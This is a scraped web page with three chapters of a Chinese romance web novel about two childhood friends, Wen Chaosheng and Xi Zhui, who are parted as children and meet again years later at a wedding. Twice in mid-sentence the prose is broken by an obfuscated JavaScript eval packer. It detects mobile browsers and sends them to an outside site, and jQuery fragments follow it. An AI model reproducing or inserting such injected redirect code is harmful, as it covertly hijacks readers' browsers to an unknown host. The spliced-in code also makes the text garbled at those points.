闻潮声点头,“我在家里经常给妈妈讲故事。” 如果是公开对着一群人,他或许没有这个勇气,但在帐篷里只用面对老师一个人,他也没那么害怕。 万一能拿到赛车呢?那他就能当作礼物送给席追了! 席追不知道他的小心思,但不扫兴,“那你去吧,我们在这儿等你,加油。” “嗯!” 得益于家庭的创作氛围和潜移默化的文学培养,闻潮声在这方面还真有些灵气—— 半小时后,他如愿从老师那边得到了赛车模型,走出帐篷时,眼角眉梢都透着明显的雀跃。 他暗暗幻想起席追收到这份赛车模型时的表情,不由加快脚步往回走。 只是,没等走出去多远,一道不合时宜的阻拦声就传了过来,“喂!闻潮声!” 闻潮声脚步一顿,没等转头,郑嘉星就已经跑到了他的前面,身边还跟着另外两名小男生,显然是一伙的。 闻潮声警惕地后退半步,“你们做什么?” 郑嘉星直勾勾地盯着他怀中抱着的赛车模型,大言不惭,“你把这个给我!我拿其他礼物和你交换!” 他很想要这个赛车,但他的故事讲完后,老师只送了一套文具。 闻潮声拒绝,“不要。” 郑嘉星说,“我给你钱!我爸爸妈妈马上就要来接我了!你想要多少钱!一百?还是两百?还是五百?” 闻潮声蹙眉,将赛车模型抱得更紧了一些,“我不要钱,也不给你。” 说着,他就准备绕过郑嘉星。 “不行!你不能走!”郑嘉星用力拽住他,“你今天必须同意!不然我就打你!” 从小到大,他就没有得不到的玩具! 闻潮声没站稳,当场摔了一屁股,疼得眼泪都快出来了。 没等他彻底反应过来,郑嘉星的小伙伴就霸道地夺走了他的赛车模型。 闻潮声怀里一空,急得带了哭腔,“你们把赛车还给我!” 郑嘉星故意扮鬼脸,“略略略,就不!” 话音刚落,一道充满正义的制止声就响了起来“喂!你们做什么!不许欺负潮声!” 夏逢一跑在最前面,第一时间扶起摔倒的闻潮声,紧接着,席追和沈照野也跟过来了。 席追看见闻潮声裤子上的泥土,“他们是不是打你了?” 闻潮声又委屈又难过,“席追,那赛车是我的,他们不还给我。” “你瞎说!” 郑嘉星一看见自己人数上不占优势了,强词夺理,“我就是借来玩玩,又不是不还给你!这么小气干什么!” “……” 席追看着嘴硬的郑嘉星,快步走近,一句废话也不说,伸手架着对方就是一个过肩摔。 “啊!” 郑嘉星被摔得眼冒金星,叫嚣着想要爬起来,“你居然敢打我!我要打死你!” 席追借着先发制人的优势,用力把他扭掐在地上,“你欠揍!” 夏逢一看着原地扭打在一起的两人,兴奋地眼睛都亮了,“哇塞!” 他没有任何犹豫,立刻试图去抢回赛车模型,还不忘大声嘴炮,“快把潮声的赛车还回来!就你们还敢欺负我朋友?” “你们这群小偷!坏蛋!你们知道我妈妈是谁吗?我要让我妈妈抓你们去坐牢!” 短短半分钟,场面变得无比混乱。 沈照野根本来不及劝,“喂,你们俩——” 他摘下自己早已经开始录制的智能手表,塞给闻潮声,“你拿着,继续录。” 现场的叫乱声混成一片,沈照野根本不担心练过跆拳道的席追,跑去帮了夏逢一的忙。 “……” 闻潮声看着扭打在一起的几个人,大气都不敢出,最开始的害怕也变成了震惊: 怎么办啊? 这下是真的要叫家长了。 10.【第010章·旧时光】 夏令营总部。 闻潮声忐忑不安地站在办公室门外,竖起耳朵企图偷听室内的谈话。 半个小时前,席追带头和郑嘉星等人扭打在了一块,好在被夏令营的老师路过看到,及时将他们一群人拉开。 因为正逢结课日,家长们得知消息后来得很快,这会儿,他们正在办公室内讨论这次打架后的处理结果。 办公室的门墙隔音效果很不错,闻潮声只能听到一些隐约的谈论声,急得他直皱眉。 席追走上前,拽住他的手腕,“闻潮声,你别站在这里了,过来。” “诶——” 闻潮声被席追扯去一旁的游玩休息区,余光却止不住地瞄着办公室,紧张地心砰砰跳。 从小到大,他还是第一次被老师喊家长! 夏逢一坐在小马摇摇椅上,手里揣着一盒快要见底的酸奶,“潮声,你不用怕,没事的!我们打赢了!而且还是大获全胜!” 说到最后,他还很得意地往最右侧瞥了一眼,“我们超厉害!哼!” 此刻,郑嘉星在内的三人就待在另外一边。 比起夏逢一的轻松自在,那边的三人却是灰头土脸、挂了彩,还有一个人害怕得正在抹眼泪。 他们刚刚被席追揍狠了,已经哭着道过一轮歉了。 嗞啦—— 办公室的门终于打开,家长们从里面鱼贯而出。 为首的闻春申先开了口,“郑先生,那我们就各自把孩子领回去,今天这事就翻篇了?” “当然,今天这事是我们嘉星做得不对,这孩子被他们爷爷奶奶宠坏了,我回去一定好好教育。” 郑嘉星的爸爸主动承认了错误,对着闻春申等人道歉,“实在是不好意思。” 几位家长来回客套了一番,看上去很友好。 闻潮声呆呆地看着自己的爸爸妈妈,却不敢上前。 宋雪兰第一时间走近、蹲下安抚,“宝宝,吓坏了是不是?” 闻潮声红了眼,“妈妈对不起。” 宋雪兰揉了揉闻潮声的脑袋,坚定地维护着他,“不是你的问题,你守护自己的东西没有错,我们不用和任何人道歉,该道歉的人是欺负你的小朋友。” 闻潮声得到肯定和安慰,吸着鼻子点了点头,“嗯。” 很快地,郑嘉星等人就被各自的父母压着道歉,然后拽着先行一步离开。 “切!” 夏逢一瞪着他们离开,小嘴巴还不饶人,“下次再让我看见他们欺负人,我还揍!” “行了!得意什么?打群架还有理了?”席渠鑫扫视着自己从小看着长大的三个孩子,严肃教育,“特别是席追,你是真有能耐了?” “我和你妈妈让你去学跆拳道,不是为了让你把别人揍得鼻青脸肿!” 他们打架的地方有营地安装的监控,正好记录下了全程,的确是郑嘉星先动手欺负人,所以自知理亏的郑家才会这么好说话。 当然,得亏郑嘉星壮实,挺抗揍,没到伤筋动骨的地步。 “……” 席追板着一张小脸,默默挨训没解释。 夏逢一不服气,嘟嘟喃喃,“席叔叔,是郑嘉星他们先欺负潮声的!我们这是保护朋友!” 夏言传揪了一下自家小儿子的后颈,“我现在就送你到警察局,你当着你妈的面再表演一个‘打架保护朋友’,看她收不收拾你。” “我才不去——” 夏逢一顿时怂了,连忙往沈照野的身后一躲。 他的余光突然注意到了什么,惊呼,“啊!小追的胳膊怎么受伤了!” 家长们的神色一变。 席渠鑫顷刻收起了那点严肃,“哪里受伤了?赶紧的,我看看。” 听见这话的闻潮声立刻脱离宋雪兰的怀抱,着急凑近,席追的胳膊后侧果真有一片擦伤,还泛起了血色。 闻潮声一想到对方是为了保护自己才打架受伤的,顿时愧疚起来,“怎、怎么办啊?” 席追不习惯被这么多人围着,怪别扭的,特别是看见闻潮声这张小苦瓜脸后,他逞强,“我又不疼。” 夏令营营地那边的地面都是石子和砂砾,这个胳膊上蹭破了一点皮,受点小伤很正常。 身为医生的夏言传确认了情况,“还好,不严重,待会儿去我车上,有医药箱,消个毒就好。” 席渠鑫松了口气,“没事就好,回去再说吧,沈若她们还在家里等着呢。” 他们几家人约了今晚聚餐。 席渠鑫没了那点教育心思,主动牵住席追的手,还不忘对沈照野说,“照野,你爸妈还在忙你们的出国手续,晚点他们来叔叔家,你先跟我们一块走。” 沈照野习以为常,“好的。” … 夕阳的余晖笼罩进席家的饭厅。 闻春申和席渠鑫等人正在喝酒聊天,四个孩子单独分出了一小桌,这会儿已经吃得差不多了。 沈照野点开自己的智能手表,夏逢一立刻好奇地凑过来看,“什么什么?录了什么?” “我们打架的视频,我让潮声拿着录的。” 沈照野特意把智能手表交给闻潮声录制,原本想要当成证据,不过没能用上。 视频播放了十几秒,夏逢一就激动地大喊起来,“哇塞!照野,你看见没有?我那一脚好帅!比小追练跆拳道的时候帅多了!” 他还特意将手表屏幕展示给席追看,不忘对着闻潮声就夸,“潮声,你录得真好!” “……” 闻潮声面对着这突如其来的夸奖,并没有多高兴。 他挪到席追的身边,“席追,你的胳膊还疼吗?对不起,都是因为我,你以后不要和别人打架了。” “不疼。” 席追的胳膊早就上了药,“你别道歉了,快点把饭吃完。” 闻潮声看着餐盘里还剩下的好几块炖排骨,浅浅吸了一口气,“哦。” 他不好意思说,佣人阿姨给他的排骨有点多。 本着不能浪费的原则,闻潮声很努力地又吃了两块,实在是有些顶到胃了。 于是,他只好望着盘中被剩下的排骨,认真嘟囔,“对不起排骨。” “……” 对不起什么? 席追很意外地看着闻潮声,想不明白为什么有人会对着排骨道歉? 他问,“你为什么和排骨说对不起?” 闻潮声一本正经地解释,“爸爸说过,浪费粮食是不对的。” 每次有实在吃不下的食物,他都会很诚恳地道个歉。 “我吃不完排骨,排骨被倒进垃圾桶也会伤心的。” “……” 席追尝试理解闻潮声这神奇的脑回路。 过了几秒,他才拿起自己的筷子,将对方吃不完的排骨都扒进了自己的碗里,“好了,你现在不用和排骨说对不起了。” 闻潮声呆呆地,“嗯?” “我可以替你吃完,但你现在得说另外一句话,你要说——”席追教他,“谢谢席追。” 闻潮声反应过来,嘴角弯了弯,“谢谢席追。” … 晚餐结束后,夏逢一又缠着朋友们打游戏。 席追虽然嘴上逞强不说,但胳膊上的伤口一直泛着疼痛,他没参与游戏,而是坐在了外面的沙发上看电影。 没多久,闻潮声提着自己“失而复得”的赛车重新上了楼。 他走到席追的身边,递了过去,“席追,这个给你。” 席追垂眸,“送我?” “嗯,你送了我故事绘本,我也得送你礼物。” 闻潮声顿了顿,又告诉了另外一事,“妈妈说了,我、我明天就要回海市了。” 闻春申和宋雪兰这次回帝京,是因为家中的闻老先生急病住院,现在老先生的情况稳定了,他们该回去继续筹备新电影项目了。 今晚大人之间的聚餐,实则是给他们一家践行。 闻潮声年纪小,只能跟着家长往返,他实在来不及准备其他礼物,送给席追这位特别好的朋友。 “……” 怎么突然就要走了? 席追短促地皱了皱眉,觉得胳膊上的伤口更痛了,他犹豫了两秒,接过了这份礼物,“谢谢。” 闻潮声见席追收下了这份礼物,有些高兴地坐在了他的身边,“不客气。” 屏幕上的电影还在继续。 席追没太在意银幕里的剧情,反倒还记挂着闻潮声要离开的事实。 他偏头看向正在专注看电影的闻潮声,出声,“这电影好看吗?” 闻潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493147|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声诚实回答,“嗯,刚刚的空镜很漂亮。” 小小年纪,出口的却是耳濡目染的专业词汇。 席追一下子没明白‘空镜’是什么意思,只问,“闻叔叔是大导演,你长大以后想和他一样吗?” 闻潮声点头,“想的!” 他从记事起就喜欢看故事、讲故事、编故事。 偶尔被父母带到剧组,闻潮声就待在监视器前看一幕幕的光影和人物演绎,别的同龄人觉得乏味枯燥的事,他却能目不转睛地看上一整天。 在闻潮声的心里,早已经埋下了一颗小小的种子,他想要成为像父母那样优秀的导演、编剧。 大概是提到了自己唯一的兴趣爱好,闻潮声的脸上多了点生动,“席追,我以后要是能当导演,你来当我的电影主角,好不好?” “……” 席追被闻潮声这正儿八经的模样逗得嘴角一弯,连胳膊的痛都淡了,“哦。” 两人有一搭没一搭地聊着天,看着屏幕里有些晦涩难懂的电影剧情。 直到临近九点,宋雪兰才上楼喊人。 闻潮声知道这是离别的前奏,心尖涌上一丝不舍。 他慢吞吞地从沙发起身,认真和席追告别,“席追再见,谢谢你和我做朋友。” “嗯,再见。” 席追话不多,似乎是沉迷在电影里了,甚至不太看他。 闻潮声有点难过,张了张嘴也不知道该说些什么。 他只好又和夏逢一、沈照野说了再见,这才乖乖跟着宋雪兰下楼。 … 闻春申提前喊了代驾,这会儿已经到了席家别墅的门口了,宋雪兰带着儿子坐进了车后排。 闻潮声按下车窗,抬头看向席家二楼的方向。 窗帘似乎被什么人拉开了一角,只是夜晚的光线昏暗,一时半会儿看不清晰。 “席追再见。” 闻潮声用只有自己听得见的声音说。 代驾司机并不知道后排正在经历的“不舍离别”,发动车子无情远离。 夜风灌了进来。 闻潮声不舍地关上车窗,“妈妈,我们以后放假还会回帝京吗?我很喜欢这里。” 宋雪兰揉了揉他的小脑袋,“当然会的,等你放假,只要妈妈爸爸有空就带你回来,好不好?” “好。” 闻潮声眸光亮了些,“那我以后还可以找席追他们玩吗?” 宋雪兰笑了声,总算看穿了自家儿子的想法。 这是交到了新朋友,舍不得走了。 她刚准备应答,前排喝了不少酒的闻春申就开了口,“你席叔叔要在国外发展事业了,还要把席追他们带到德国读书。” 至于沈家本来在海外就有产业,沈照野这次也要一起出国。 夏家父母倒是不着急,但有计划在每年寒暑假送夏逢一去国外游学,能和席追、沈照野继续作伴。 “……” 国外? 那不是很远很远的地方吗? 闻潮声眼里才涌起的那点笑容又褪去。 宋雪兰无奈看向前排醉酒的丈夫,虽然对方说得是无心实话,但实在有些煞风景。 她将闻潮声拥入自己的怀中,低声问,“宝宝,你想和小追他们一样,出国读书吗?” 闻潮声摇头,靠在宋雪兰的怀里不说话。 在他迄今为止的小小世界里,从来没想过“出国读书”这条路,对他来说,有父母在的地方,才是能安心待着的家。 “……” 如果自己能从小生活在帝京就好了。 这样就能早点和席追他们成为好朋友,可以一起上幼儿园,而不是只认识了几天就要分开。 想到这些,闻潮声第一次有了种名为“遗憾”的情绪。 知子莫若母。 宋雪兰感知到闻潮声的敏感情绪,柔声安慰,“别难过,只要我们宝宝愿意,以后还会认识更多的朋友。” “……” “你的人生刚刚开始,只要你和席追他们不忘记彼此,以后还有机会再见面的。” 闻潮声闷闷地“嗯”了一声,却在心里很坚定地想: 他不会忘记席追的。 就算他未来还会认识新的朋友,但席追一定会是他最重要的朋友。 11.【第011章·旧重逢】 帝京电影学院。 暑假开始,大部分的师生都已经离校了,上午刚落过一场雨,盛夏的潮热从走廊蔓延开来。 闻潮声轻推了一下鼻梁上的黑框眼镜,鼓足勇气敲响了导师办公室的门,“乔老师,你找我?” “诶,潮声,来了啊?” 乔良的视线从电脑前移开,笑着招手喊他进来,“进来坐。” 闻潮声走近,难掩紧张,“老师,是修改过的剧本结局还有什么问题吗?” “没有,《轮廓》这版结局更有戏剧张力,很好。” 乔良给予极大的肯定,拿出一份已经审批通过的文件,“喏,这是学校向甘南文旅局给你申请下来的拍摄协助许可,你们团队提前一周联系那边的对接人就行。” “潮声,系里很看重你们团队作品的拍摄和呈现,你是总负责人,一定要顶住压力好好表现。” 闻潮声对上乔良殷切的目光,心头一紧,“老师,我会努力的。” 小学毕业后,闻潮声就回到了帝京读书,大学更是顺利考上了帝京影视学院的导演系,如今已经读到了大三结束。 前段时间,他精心打磨的剧本《轮廓》得到了专业导师乔良的青睐,对方替他申报了“在校生影视创作”的扶苗活动。 这不,系里领导特意拨下了拍摄资金,要求他们在这个暑假内完成这一电影的拍摄。 如果足够顺利,《轮廓》的成片要和其他校内作品一起申报国内外各大电影节的文艺类奖项。 乔良问道:“对了,我看你提交的团队名单中没有主演名字,是还没确定下来?” 剧本男主角叫唐遇,是一位临近毕业的艺术生。 闻潮声思绪微晃,回答声也慢了半拍,“……找了大四表演系的秦科学长,但他最近有点忙,还没和我们商量具体的拍摄档期。” “他啊?外形是挺不错的。” 电影学院本来就是一个整体,学生之间相互参与彼此的作品是常态。 作为表演本科的学生,秦科早就开始在外接戏了,前阵子靠着热播电视剧里的配角小红了一把。 这不,忙得都快要连轴转了。 “潮声,你们尽快找个备选吧,万一秦科在时间上排不开,至少能有其他演员顶上,我这边也再帮你搜寻一下合适的演员。” “好的老师。” 乔良还算了解闻潮声的内敛脾性,很操心他这回的外出拍摄,细细碎碎地把能想到的事情都交代了一番。 眼看着时间不早了,他才大手一挥,“好了,没其他事情了,之后拍摄我没办法亲自去甘南盯着,你有问题线上和我沟通。” “好。” … 等到离开导师办公室,闻潮声才如释重负地松了口气。 性格使然,从小到大,只要面对这类一对一的社交场合,他总是会不受控的紧张。 滋滋,滋滋滋。 口袋里的手机响起来电震动。 闻潮声拿起接通,“喂,妈。” 宋雪兰的催促声传来,“小声,你什么时候到酒店啊?这席家四叔的婚礼仪式都要开始了。” “……” 闻潮声才注意到结束时间比自己预计得要晚,他短促地吸了一口气,“我、我这就从学校过去,很快的。” 宋雪兰从他的语气里听出了端倪,“又忙忘记了?迟了就迟了吧,路上小心点。” “好的,妈妈。” … 学校和酒店离得不远。 闻潮声打车赶到,顺着婚礼指引牌刚走到宴会厅边上,就看见了宋雪兰等待的身影。 他走上去,“妈。” “你这孩子……”宋雪兰看见自家儿子的一身装扮,欲言又止,“怎么穿这一身就过来了?” 闻潮声任由她打量,嗓音里透着点委屈,“我这套衣服是新买的,不好看吗?” “好看,难得见你主动买新衣服。” 宋雪兰先是给予肯定,又无奈数落,“只是这黑框眼镜配上鸭舌帽,小脸都快遮得看不见了!” “你说说你,一天到晚藏着掖着,这性子比你爸年轻那会儿还要闷。” “……” 闻潮声不反驳。 他觉得自己这样就挺好的,不容易被人认出来,可以避免很多无效社交。 宋雪兰挽着自家儿子的手臂,带着他从侧门进宴会厅,“婚礼仪式环节结束了,新郎新娘待会儿还得挨桌敬酒,我再带你认识认识。” “哦。” 今天婚礼的主人公是席渠鑫的表弟,听说临近四十才找到了愿意相伴一生的爱人。 其实闻潮声并不熟悉这号人物,所以也不在意已经错过的精彩仪式。 婚庆的排场摆得奢侈又盛大。 水晶吊灯折射出的光晕向四周荡漾开来,空气中满是鲜花的香气,用于正餐的酒席桌数更是一眼望不到头。 自从进入宴会厅,闻潮声的视线就透过镜片隐秘地搜寻四周。 宋雪兰捕捉到了自家儿子扫荡的视线,“在找谁呢?” “……没有。” 闻潮声先是否认,过了好几秒,他才旁敲侧击地询问,“妈,席叔叔和沈阿姨,是不是也回国参加这婚礼了?” 宋雪兰反应过来,戳破他的小小心思,“你是想找你席叔叔和沈若阿姨,还是想找席追?” 要知道,闻潮声以往对于这类亲朋云集的宴会总是避之不及、能躲则躲,但今天居然选择主动前来。 搞了半天,原来关键藏在这里。 闻潮声被猜中了真实想法,企图装傻。 宋雪兰没逼着闻潮声承认真实想法,而是帮着他一块寻人,“听你沈阿姨说,席追昨天才回国,临时被抓去当他小叔叔的伴郎了,我刚还看见他了——” “你别说,席追个子高,长得是真好看,待在一群人里最出挑。” 话音刚落,她就抬手示意,“喏,最前排的伴郎桌,看见了吗?” “……” 闻潮声抬眸,视线刹那定格。 伴郎伴娘专属的圆桌设在礼台的左侧,此刻,一名长相俊逸的年轻人悠闲坐在其中。 邻座的伴郎伴娘都在热情交谈,还有人吆喝着一块举杯,但那人没有始终大动,只是略微抬了抬手腕回应,杯中的香槟轻晃,泛出的冷光折射在他骨相极好的那张俊脸上。 “……” 是席追。 闻潮声一眼就辨认了出来,呼吸的起伏明显了一些。 “就那个系着蓝黑色领带的,认得出吗?”宋雪兰拍了拍儿子的手臂,笑着问,“你们俩得有十二三年没见了吧?要去打招呼吗?” 即便后来回到帝京读书,闻潮声也没再见过席追。 但他偶尔会从宋雪兰的微信中看见沈若的朋友圈动态,看见对方晒出来的、有关于席追的生活近照。 不过,这样的机会并不多。 “哦……嗯?” 闻潮声的目光慢半拍地回收,带着点久别的拘谨,“我先不过去了,他好像在忙。” 宋雪兰只当儿子社恐发作,没有强求他去社交,“那你先陪妈妈坐下吃点,等宴席散了、宾客少了,你再决定要不要去打招呼?” “嗯。” 婚宴的酒席菜色很丰盛。 闻潮声却没心思好好品尝,他的余光止不住地瞥向伴郎那桌,暗中关注着席追的动态。 对方一直安坐在位置上,像是和其他人隔了一层,没什么大动作,哪怕是新郎新娘挨桌敬酒,也是由另外的伴郎伴娘陪同。 婚宴临近散场,周围的宾客三三两两地起身,结伴离场。 宋雪兰被许久未见的亲友们拉到一旁聊天拍照,剩下闻潮声独自坐着,他又一次小幅度地偏头偷觎。 只是这回没等目光停留,不远处的席追就突然抬了眼—— 两道视线猝不及防的相撞在半空,一时间连喧闹的空气都静止了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498322|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席追搭在香槟酒杯上的指尖松动了一秒,透着冷色的眉眼就这么紧紧擒住了闻潮声。 一秒,两秒,三秒。 闻潮声陡然生出一种被偷看抓包的心虚感,视线慌乱逃窜,他不管三七二十一,随手拿起面前没有饮过的香槟酒杯,误以为柠檬茶水饮了一口。 下一秒,未曾尝试过的酒味入侵。 “咳咳!” 闻潮声当即被呛得不轻,埋头闷咳,耳根上的滚烫在几秒内烧到了脸上。 哪哪儿都乱了。 等到闻潮声好不容易压下了这阵兵荒马乱,再抬眼时,那边的席追已经起了身,正慢悠悠地往宴会外走。 “……” 怎么就走了? 是他偷看被发现了,所以觉得不舒服了吗? 闻潮声联想到这种可能性,眉眼浮动懊恼,他纠结了两秒,还是没忍住起身跟了上去。 … 伴郎专属的休息室在酒店走廊的里面间,鲜少有宾客特意驻足。 闻潮声呆呆地站在门口,脑海里正疯狂斟酌着待会儿有可能进行的开场白,终于,他犹豫着伸出手、企图敲门。 几乎是同一时间,休息室的门就被人打开了—— 席追站在门内,已经脱下了伴郎西装、换上了纯黑色的私服。 门框内嵌的照明灯给他的轮廓镀上了一层恰到好处的光影,眉骨凸显,衬着那双深棕色的瞳孔,流露出一种不属于他这个年纪的疏离气场。 离得近了,两人的身高差距就显了出来。 闻潮声猝不及防地对上了席追本人,正准备敲门的手僵在了半空,才想好的措辞全忘记了。 “……” “……” 四目相对,逃无可退。 席追也不说话,只是垂眸注视着眼前人。 闻潮声紧张得心都提到嗓子眼了,张口时的声音是含糊的,磕磕绊绊,“席追,好、好久不见,你还、还记得我吗?” “……” 眼前人戴着一顶鸭舌帽,帽檐压得很低,还将大半张脸都藏在了阴影中。 明明看不清,却格外好认。 席追嘴角并不明显地扬了扬,眉梢短促一挑,“你抬头,我看看。” “哦。” 闻潮声发出一声很低的气应,慢半拍却乖顺地抬了头,等待着眼前人的确认和回应。 席追依旧沉默,视线一点点地移动确认—— 闻潮声藏在镜片后的眼睛很圆,望着他的眸光带着几分迟缓的的专注,有一缕微卷的头发被压着、蹭上了黑框眼镜,看上去呆呆的。 席追忍住伸手挑弄的冲动,不疾不徐地开了口,“抱歉,记不起来了,请问你是?” “……” 闻潮声听见这声回答,脑袋顷刻低了下去。 果然,还是不记得了吗? 他们太久没见了面了,久到那点童年记忆都快模糊不清了,记不住才是正常的。 即便早就做好了被对方忘记的心理准备,但此时此刻,一种名为“失落”的情绪还是游荡在了闻潮声的胸口。 这些年,他始终牢牢记着席追,将对方当成自己童年时期最重要的朋友,没有之一。 闻潮声将帽檐又压低了一些,企图将自己的难过完全遮起来,“没关系,记不起来就算了,是我打扰了,抱歉。” 他没有自报姓名的打算,转身就要想往外逃,没等只是走出去两步,身后的人就跟了上来。 “等一下。” 忽然间,手腕被人强有力地擒住,“这么多年过去了,你怎么还跟乌龟似的?” “……” 潮声差点以为自己是在做梦,怔怔抬头。 下一秒,席追就摘掉了那如同“龟壳”似的鸭舌帽,微微弯腰和他平视,准确无误地喊出了他的名字。 “闻潮声。” 那双原本疏离的眼眸中,此刻流露出一抹难以掩饰的淡笑,“你怎么这么不禁逗?” 12.【第012章·旧重逢】 闻潮声盯着近在咫尺的这张脸,脑袋只剩下一片空白。 他缓了好几拍才反应过来,胸口的失落和酸涩在一瞬间就转变为了惊喜,“你、你……” “我什么我?” 席追松开他的手腕,挑眉反问,“刚在宴会上偷看我几次了?又不上来打招呼,隔着距离,我还以为我认错人了。” 闻潮声耳根子一红,支支吾吾,“你那桌人好多,我、我都不认识。” “嗯,猜到了。” 席追料到闻潮声的性格还和小时候一样怕生、慢热,没想到是有过而无不及—— 他刚才开玩笑说了一句“不认识”,对方竟然连“自我介绍”的念头都没有,而是急匆匆地就要跑掉。 忽然间,走廊上响起了一阵脚步声,其他几位伴郎走了过来。 “席追,你速度够快啊,连衣服都换下来了?” “嗯。” 席追的语气隐隐冷淡了下来。 有伴郎注意到他身边的闻潮声,好奇,“这位是?” 席追说,“我朋友。” 闻潮声看见面前全然陌生的伴郎团,社恐发作,不知道该不该打招呼。 “我和我朋友还有事,先走了。”席追看穿了闻潮声的局促,轻拢了一下他的手肘,“走吧。” “哦。” 闻潮声连忙跟着他离开。 直到拐出了走廊,闻潮声才后知后觉地问,“席追,你忙完了吗?就这么和他们分开,没关系吗?” “有什么关系?本来就不熟,他们是我小叔叔的伴郎朋友,又不是我的。” 现在婚礼已经到尾声了,谁还能管他? 两人走到不远处的电梯厅,席追按下电梯的等待键,“你待会儿有事?” “啊?” 闻潮声摇了摇头,“没有,你呢?” 席追实话实说,“被迫忙了一天有点累,打算回酒店房间休整一下。” 电梯停在三楼,门缓缓打开。 席追看着边上还在暗自拘谨的闻潮声,“我房间在二十四楼,你要不要上去坐坐?” 闻潮声睁大眼,没想到席追会主动邀请自己,“啊?我吗?” 婉拒的话到了嘴边,却说不出口。 要是错过了这次机会,之后不知道还能不能再见到席追。 闻潮声攥了攥自己的背包带,“我上去的话,会不会太……太打扰你?” 嘴上这么说着,心里却有些期待。 “没什么可打扰的。”席追眉梢微挑,再度抓住闻潮声的手腕将他带进电梯,“别磨蹭,你还真是一点儿没变。” 席追的掌心很凉,腕上的接触不过两三秒,就松开了。 闻潮声感知到残留的体温差,悄悄抬眼。 电梯内的光线柔和,席追侧脸的轮廓不再是一味的冷峻,而是多了点熟悉的感觉。 好像,还和小时候一样。 或许是捕捉到这一认知,闻潮声心底的局促悄然消散。 … 酒店房间是新郎官给远方的宾客们统一安排的,是标准的大套房,外面小客厅,里面才是卧室。 席追纯黑色的行李箱还摆在外厅,没有打开。 闻潮声环顾了一圈,没话找话,“你才回国吗?” “嗯。” 昨晚十点下了飞机,凌晨就被抓来当伴郎了。 席追去浴室洗了个手,不忘对闻潮声说,“你随便坐。” “好的。” 闻潮声听话地坐在沙发上,将自己的背包搁在了身前抱住。 席追从浴室里一出来,就看见了眼前的情景—— 闻潮声顶着一头略显凌乱的棕栗色卷发,白净的脸上戴着一副粗的黑框眼镜,板板整整地坐着看他,像是准备上课的好学生。 又呆又乖的。 “……” 席追的目光不自觉地多停留了两秒,才走向客厅的冰箱,“要喝点什么?啤酒?” 房间里倒是也有威士忌和葡萄酒,但开瓶醒酒需要时间,太麻烦了。 席追走近,单手拧开了啤酒瓶才递过去,“给。” 闻潮声平日里喝酒次数基本为零,不爱喝也不会喝,只是面对席追,他不好意思说出拒绝。 “谢谢。” “不客气。” 啤酒瓶轻撞,冰凉在掌心震动。 席追也在沙发上坐下,带着一丝探究,“你近视了?” 闻潮声听见这声询问,下意识地推了推眼镜,“只有一点点,不严重,这是平光镜。” 席追饮了口啤酒,嘴角似乎有了上扬的弧度,“所以,你是拿它当装饰?” 眼睛明明很好看,遮了可惜。 闻潮声跟着喝了口啤酒,舌尖被冰得有点发颤,“……也不算。” 他不好意思说—— 高中毕业那天,同班的一个女同学突然把他堵在楼梯口告白,还特意夸了他的眼睛很漂亮。 闻潮声原以为自己的性格上学时不会被人关注,一时间都吓得脑子都要转不过弯了,在结结巴巴地礼貌拒绝后,立刻落荒而逃。 从那天之后,他去配了这副宽大的黑眼镜。 与其说是装饰,不如说是社恐一种遮掩的笨手段。 闻潮声的指腹蹭了一下啤酒瓶上的水汽,问起自己最关心的事,“席追,你这次……这次回国待几天?” “不确定,可能待个暑假,也可能过几天就和我爸妈一起飞回去。” 席追在德国申请了金融系的本硕连读,还没毕业,秋季开学时,是需要返校的。 “哦。” 闻潮声又捧着啤酒喝了一口,继续尝试着找话题,“那你和照野他们、还有联系吗?我之前听逢一说,照野成珠宝设计师了。” 回到帝京读书后,闻潮声机缘巧合还和夏逢一当过同校同学,后来对方在高二出了国,他们之间的联系才渐渐少了。 “是,我和照野他们一直保持联系,也见面。” 席追承认,随口提及两位发小的情况—— 沈家的产业本来就和珠宝采购挂钩,沈照野随了他母亲的艺术天赋,加上家里有意栽培,十八岁成年前,他就已经拿满了全球各地的珠宝大赛金奖。 如今,沈照野的珠宝设计稿已经到了天价的地步,却依旧令很多富人甚至外国皇室趋之若鹜。 闻潮声由衷夸奖,“那他好厉害。” 席追没反驳,继续说,“逢一去读医了,还是儿科。” “啊?” 闻潮声愣了愣,难以想象夏逢一这碎嘴子去当医生哄孩子的模样。 席追透露,“他离毕业还远着,每到期末就跟神经搭错了似的,天天在小群里哭着喊着下辈子再不学医了,烦得我和照野假装看不见。” 闻潮声能想象夏逢一那模样,轻笑了声。 席追察觉到他放松下来的眉眼,才将话题抛了回去,“你呢?现在怎么样?” 闻潮声诚实回答,“在帝京电影学院,读导演系。” 席追听见这意料之中的专业,“真当导演了?拍出过作品了吗?” “……还没。” 闻潮声脸颊发烫,“我还在学习。” 席追颔首,“你这个专业是急不来。” “嗯。” 两人闲聊了一会儿,基本上都是席追在问,闻潮声在诚实回答。 只是没多久,闻潮声就觉得自己的眼皮越来越重,脑袋也晕乎乎的,他没忍住,低头打了一个小小的哈欠。 席追察觉出了他脸颊上浮动的醉意,有些意外,“闻潮声,你是不是醉了?” “……” 闻潮声垂眸自己还剩了大半罐的啤酒,发懵,“不知道。” 席追还是第一次见能被半瓶啤酒就撂倒的人,无奈,“不会喝酒怎么不说了?困不困?” 闻潮声点头,“有点。” 